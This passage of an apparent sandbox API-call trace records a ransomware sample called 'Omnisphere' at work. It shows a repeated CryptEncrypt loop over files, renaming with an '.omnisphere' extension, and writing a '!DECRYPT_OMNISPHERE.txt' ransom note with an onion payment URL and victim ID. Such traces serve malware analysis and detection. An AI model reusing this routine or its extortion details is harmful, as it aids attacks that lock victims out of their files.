pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.694] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.694] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0127.694] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.694] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.695] GetProcessHeap () returned 0x1600000 [0127.695] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16f7140 [0127.695] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkx06wi5.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkx06wi5.lnk.omnisphere")) returned 1 [0127.696] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk.omnisphere.id" [0127.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkx06wi5.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.696] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.697] CloseHandle (hObject=0x3c0) returned 1 [0127.697] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.697] CloseHandle (hObject=0x288) returned 1 [0127.697] SetEndOfFile (hFile=0x28c) returned 1 [0127.697] FlushFileBuffers (hFile=0x28c) returned 1 [0127.700] CloseHandle (hObject=0x28c) returned 1 [0127.700] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.700] GetProcessHeap () returned 0x1600000 [0127.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.700] GetProcessHeap () returned 0x1600000 [0127.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1c30 [0127.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1c30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.700] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.700] GetProcessHeap () returned 0x1600000 [0127.701] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17105e0 [0127.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17105e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.701] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.701] GetProcessHeap () returned 0x1600000 [0127.701] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5748 [0127.701] PathCombineW (in: pszDest=0x16f5748, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.701] GetProcessHeap () returned 0x1600000 [0127.701] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1708570 [0127.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.701] WriteFile (in: hFile=0x28c, lpBuffer=0x1708570*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1708570*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.701] CloseHandle (hObject=0x28c) returned 1 [0127.701] GetProcessHeap () returned 0x1600000 [0127.701] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.701] GetProcessHeap () returned 0x1600000 [0127.701] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.701] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.702] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.702] CloseHandle (hObject=0x28c) returned 1 [0127.702] GetProcessHeap () returned 0x1600000 [0127.702] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.702] GetProcessHeap () returned 0x1600000 [0127.702] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16566d0 | out: hHeap=0x1600000) returned 1 [0127.702] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d7dbb1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20d7dbb1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20da3e25, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0xd3, cFileName="zlNvwB3qc HK.lnk", cAlternateFileName="ZLNVWB~1.LNK")) returned 1 [0127.702] GetProcessHeap () returned 0x1600000 [0127.702] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0127.702] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="zlNvwB3qc HK.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk" [0127.702] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlnvwb3qc hk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.703] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=658) returned 1 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.703] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] GetTickCount () returned 0x115fdd5 [0127.704] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0127.704] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.704] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.704] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.704] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.704] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x292, lpName=0x0) returned 0x288 [0127.705] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x292) returned 0x1480000 [0127.705] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0127.705] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.705] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.705] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.705] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.705] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.705] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.707] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.707] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0127.707] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x292, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.707] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.707] GetProcessHeap () returned 0x1600000 [0127.707] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16f9568 [0127.707] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlNvwB3qc HK.lnk" (normalized: 